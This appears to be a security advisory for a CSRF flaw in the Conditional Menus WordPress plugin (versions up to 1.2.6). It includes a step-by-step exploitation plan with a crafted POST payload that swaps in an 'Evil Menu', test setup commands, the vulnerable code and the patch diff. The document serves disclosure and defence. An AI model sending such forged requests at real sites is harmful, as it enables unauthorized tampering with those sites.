Conditional Menus <= 1.2.6 - Cross-Site Request Forgery to Menu Options Update
Description
The Conditional Menus plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.6. This is due to missing nonce validation on the 'save_options' function. This makes it possible for unauthenticated attackers to modify conditional menu assignments via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=1.2.6What Changed in the Fix
Changes introduced in v1.2.7
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1032 ## 1. Vulnerability Summary The **Conditional Menus** plugin (<= 1.2.6) for WordPress is vulnerable to **Cross-Site Request Forgery (CSRF)**. The vulnerability exists in the `Themify_Conditional_Menus::save_options` function. This function is responsible …
Show full research plan
Exploitation Research Plan: CVE-2026-1032
1. Vulnerability Summary
The Conditional Menus plugin (<= 1.2.6) for WordPress is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists in the Themify_Conditional_Menus::save_options function. This function is responsible for saving conditional menu assignments but fails to perform any nonce validation (check_admin_referer or wp_verify_nonce). An attacker can trick a logged-in administrator into submitting a crafted POST request to modify which menus are displayed on specific pages of the site, effectively allowing unauthorized content manipulation or site defacement.
2. Attack Vector Analysis
- Vulnerable Endpoint:
/wp-admin/nav-menus.php?action=locations - HTTP Method:
POST - Authentication Level: Administrator (via CSRF)
- Vulnerable Action: The
save_options()method is triggered via theload-nav-menus.phphook when theactionGET parameter is set tolocations. - Payload Parameters:
menu-locations[<location_slug>]: Required to pass the initialissetcheck insave_options.themify_cm[<location_slug>][<index>][menu]: The ID of the replacement menu.themify_cm[<location_slug>][<index>][condition]: A URL-encoded string representing display conditions (e.g.,general[home]=on).
3. Code Flow
- Hook Registration (
init.php):
The plugin registers thesetupmethod duringplugins_loaded.add_action( 'load-nav-menus.php', array( $this, 'init' ) ); - Initialization (
init.php):
When an admin visits the "Manage Locations" tab in Menus (nav-menus.php?action=locations), theinitmethod is called.public function init() { if( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) { $this->save_options(); // This is called on every load of this page if action=locations // ... } } - Vulnerable Sink (
init.php):
Thesave_options()method processes POST data directly.public function save_options() { if( isset( $_POST['menu-locations'] ) ) { // VULNERABILITY: No check_admin_referer() or wp_verify_nonce() here. // Processes $_POST['themify_cm'] and saves via set_theme_mod. } }
4. Nonce Acquisition Strategy
No nonce is required. The vulnerability is defined by the absolute absence of nonce validation in the save_options function. Although WordPress core uses nonces on the nav-menus.php page, the plugin's save_options function executes independently of the core's nonce check when it detects its own parameters in a POST request to that URL.
5. Exploitation Strategy
The goal is to use CSRF to assign a different menu to the "Home" page.
Step-by-Step Plan:
- Identify IDs: Identify a target menu ID (the "malicious" menu) and the theme's navigation location slug (e.g.,
primaryormain). - Construct Payload: Create a POST request that mimics the plugin's data structure.
- Trigger CSRF: Send the request to the target site using the administrator's session.
Technical Request (via http_request):
- URL:
https://<target-domain>/wp-admin/nav-menus.php?action=locations - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Wheremenu-locations[primary]=1&themify_cm[primary][1][menu]=2&themify_cm[primary][1][condition]=general[home]=onprimaryis the location,1is the default menu ID, and2is the replacement menu ID to be shown on the home page).
6. Test Data Setup
- Create Menus:
# Create two menus wp menu create "Original Menu" wp menu create "Evil Menu" # Assign "Original Menu" to the primary location wp menu location assign original-menu primary - Identify IDs:
# Get the ID of the "Evil Menu" EVIL_MENU_ID=$(wp menu list --fields=term_id,name | grep "Evil Menu" | awk '{print $1}') # Get the ID of the "Original Menu" ORIG_MENU_ID=$(wp menu list --fields=term_id,name | grep "Original Menu" | awk '{print $1}')
7. Expected Results
- The HTTP response from
nav-menus.phpwill likely be a200 OKor a302 Redirect. - The WordPress database will be updated with a new
theme_modnamedthemify_conditional_menus. - When visiting the homepage, the "Evil Menu" will be displayed instead of the "Original Menu".
8. Verification Steps
After the exploit, verify the changes using WP-CLI:
# Check the conditional menu settings stored in theme_mods
wp eval "print_r(get_theme_mod('themify_conditional_menus'));"
Successful Output Example:
Array (
[primary] => Array (
[1] => Array (
[menu] => 2 // The EVIL_MENU_ID
[condition] => general[home]=on
)
)
)
9. Alternative Approaches
If the primary location slug is different, we can iterate through standard WordPress location slugs (main, primary, header-menu, top-menu). If the site uses a specific theme like Twenty Twenty-Four, the slug is often primary.
If nav-menus.php enforcement is somehow tighter, we could attempt to trigger the same save_options logic by calling admin-ajax.php if the plugin registered it there, but the source indicates it is strictly bound to load-nav-menus.php.
Summary
The Conditional Menus plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) because it fails to perform nonce validation in its save_options function. An attacker can exploit this by tricking a logged-in administrator into clicking a link, which then submits a crafted POST request to modify menu assignments across the site.
Vulnerable Code
// init.php lines 183-195 public function init() { if( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) { $this->save_options(); add_action( 'admin_enqueue_scripts', array( &$this, 'admin_enqueue' ) ); } } public function save_options() { if( isset( $_POST['menu-locations'] ) ) { $themify_cm = isset( $_POST['themify_cm'] ) ? $_POST['themify_cm'] : array(); set_theme_mod( 'themify_conditional_menus', $themify_cm ); } }
Security Fix
@@ -181,14 +181,18 @@ } public function init() { - if( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) { + if( ( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) || isset( $_POST['menu-locations'] ) ) { $this->save_options(); add_action( 'admin_enqueue_scripts', array( &$this, 'admin_enqueue' ) ); + add_action( 'admin_footer', array( $this, 'output_nonce' ) ); } } public function save_options() { if( isset( $_POST['menu-locations'] ) ) { + if ( ! isset( $_POST['themify_cm_nonce'] ) || ! wp_verify_nonce( $_POST['themify_cm_nonce'], 'themify_cm_nonce' ) ) { + return; + } $themify_cm = isset( $_POST['themify_cm'] ) ? $_POST['themify_cm'] : array(); set_theme_mod( 'themify_conditional_menus', $themify_cm ); } @@ -200,9 +204,13 @@ die; } + public function output_nonce() { + wp_nonce_field( 'themify_cm_nonce', 'themify_cm_nonce' ); + } + public function admin_enqueue() { global $_wp_registered_nav_menus; - $version='1.2.3'; + $version='1.2.7';
Exploit Outline
The exploit targets the WordPress 'Manage Locations' menu page which triggers the plugin's menu saving logic. An attacker needs to trick a logged-in Administrator into visiting a page that executes a CSRF payload. 1. Target Endpoint: /wp-admin/nav-menus.php?action=locations 2. HTTP Method: POST 3. Authentication: Administrator privileges are required for the session being hijacked. 4. Payload Requirements: The payload must include the 'menu-locations[LOCATION_SLUG]' parameter to pass the initial existence check. The actual manipulation occurs via the 'themify_cm' parameter, which is a nested array. - Structure: themify_cm[LOCATION_SLUG][INDEX][menu]=NEW_MENU_ID - Structure: themify_cm[LOCATION_SLUG][INDEX][condition]=CONDITION_STRING (e.g., 'general[home]=on') 5. Execution: When the administrator's browser sends this POST request, the plugin updates the 'themify_conditional_menus' theme modification without verifying a nonce, resulting in the new menu being displayed on the specified page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.